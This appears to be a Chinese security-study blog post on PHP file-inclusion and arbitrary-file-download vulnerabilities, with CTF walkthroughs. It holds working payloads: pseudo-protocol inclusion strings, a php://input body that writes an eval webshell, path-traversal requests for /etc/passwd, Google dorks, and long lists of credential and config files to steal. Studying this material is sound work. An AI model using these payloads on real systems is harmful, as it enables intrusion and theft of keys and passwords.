文件相关漏洞学习
文件包含
简介
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
作用
将文件以当前脚本的格式来执行
文件包含各个脚本代码
<!-- #include file="1.asp" -->
<!-- #include file="top.aspx" -->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php Include<(test.php')?>
涉及到的危险函数
- require()
- require_once()
- include()
- include_once()
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
漏洞成因
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
简单例子
如www目录下有一个文件1.txt,其内容为
源码:
<?php
$filename=$_GET['x'];
include($filename);
?>
当以文件包含的方式去访问时,文件会以当前脚本即php去执行这个txt的文件内容,
简单绕过
有限制的包含
<?php
$filename=$_GET['x'];
include($filename.".html");
?>
- %00 截断 php小于5.3.4
- 长度截断 ,Windows长于256 Linux长于4096
远程包含
- 查看是否开启远程包含参数allow_url_include,若没开启则在PHP.ini中开启
- 远程包含正常
- 远程包含一句话 将一句话写在服务器上,远程包含这个文件即可
- 若是遇到有限制的,则使用%23 %20 ?进行绕过
文件包含与伪协议联合
简介:
使用 "php://filter"伪协议" 来进行包含。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。其他伪协议同理,主要是把文件流当成了php代码执行
一些语言对应的伪协议
php伪协议参考文章:https://www.cnblogs.com/endust/p/11804767.html
php常见常用的伪协议
可以看出,一般php://input data://比较严格
file://
用于访问本地文件系统。当指定了一个相对路径(不以/、、或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。
用法:
1、file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
2、[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
php://
php:// 用于访问各个输入/输出流(I/O streams),经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
php://input 用法:
http://127.0.0.1/include.php?file=php://input
post方式,参数
<?php phpinfo();?>
//写入shell
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
浏览器hackbar暂时出了点问题,只能用burp才有反应
php://filter
php://filter常见用法
- 读取文件源码,一般使用base64编码去消除一些乱码问题
php://filter/read=convert.base64-encode/resource=[文件名]
http://192.168.123.129/wenjianbaohan.php?x=php://filter/read=convert.base64-encode/resource=1.txt
data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
用法
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
几道CTF例题以及一个cms实操
南邮的一道题
- http://4.chinalover.sinaapp.com/web7/index.php
点击后观察网页源代码,没什么发现,观察URL,发现像是使用了文件包含,于是直接访问/show.php发现成功访问。
- 尝试使用php://input 执行命令查看当前目录下有什么文件
访问http://4.chinalover.sinaapp.com/web7/index.phP,大小写敏感是Linux系统,发现不能执行,于是使用eval也不行。
- 转变思路查看show.php的源码,发现没有,则查看index.php的源码,成功取得flag
i春秋的一道题
文件下载
简介:
由于业务需求,很多网站往往需要提供文件(附件)下载的功能块,但是如果对下载的文件没有做限制
,直接通过绝对路径对其文件进行下载,那么,恶意用户就可以利用这种方式下载服务器的敏感文件,对服务器进行进一步的威胁和攻击。
危害:
通过任意文件下载,可以下载服务器的任意文件,web业务的代码,服务器和系统的具体配置信息,也可以下载数据库的配置信息,以及对内网的信息探测等等。
一般存在下载的地方都是有可能存在任意文件下载漏洞的
download.php?path=
download.php?file=
down.php?file=
data.php?file=
readfile.php?file=
read.php?filename=
buu上RoarCTF的一道题
测试一番发现有一个下载帮助文件的地方,随手测一下是什么语言写的,打开错误的发现是java编写的,应该是一个javaweb。
开发过java的都知道,以下是一个javaweb的正常结构
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
故这里可以尝试用任意文件下载,去下载WEB-INF/web.xml的一个配置文件
这里尝试使用get请求时下载不了的,需要更换姿势,采用post请求
得到配置文件后,发现有一个FlagController比较可疑,那么久直接down它的class文件,即servlet-class的路径,下载之后用idea打开即可看到源码flag值
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
Google Hacking实操
从url来看
inurl : readfile.php?file=
inurl : download.php?file=
从参数名来看
&readpath=
&filepath=
&Path=
&inputfile=
&url=
&Lang=
&dis=
&data=
&readfile=
&menu=
META-INF=
WEB-INF
文件下载可利用文件
Windows
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件
Linux
root/.ssh/authorized_keys如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa//ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore//记录每个访问计算机用户的公钥
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow//账户密码文件
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
更详细的看文章末尾
一般的漏洞验证
xxx.php?f=../../../../../../etc/passwd
xxx.php?f=../index.php
xxx.php?f=file:///etc/passwd
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version
/proc/self/cmdline
/proc/self/stat
/proc/self/status
/proc/self/environ
/proc/verison
/proc/cmdline
/proc/self/cwd
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version
/etc/httpd/conf/httpd.conf
/etc/rc.local
/usr/local/apache/conf/httpd.conf
/var/www/html/apache/conf/httpd.conf
/home/httpd/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/etc/apache/httpd.conf
/usr/local/lib/php.ini
/etc/hosts.deny
/etc/bashrc
/etc/group
/etc/httpd/httpd.conf
/etc/issue
/etc/issue/net
/etc/ssh/ssh_config
/etc/termcap
/etc/xinetd.d
/etc/mtab
/etc/vsftpd/vsftpd.conf
/etc/xinetd.conf
/etc/protocols
/etc/logrotate.conf
/etc/ld.so.conf
/etc/wgetrc
/etc/passwd
/etc/shadow
/etc/inputrc
/etc/resolv.conf
/etc/sysconfig/network
/etc/sendmail.cf
/etc/sendmail.cw
/usr/local/app/apache2/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
/usr/local/app/php5/lib/php.ini
/etc/sysconfig/iptables
/etc/rsyncd.conf
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/redhat-release
/var/spool/cron/crontabs/root
/root/.pgpass
/root/.psql_history
/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/sysconfig/network-scripts/ifcfg-eth1
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/init.d/httpd
/etc/init.d/mysql
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
版权声明:本文为原创文章,版权归 Bill's Blog 所有,转载请注明出处!如相关链接出现404,可以在文章下面评论留言。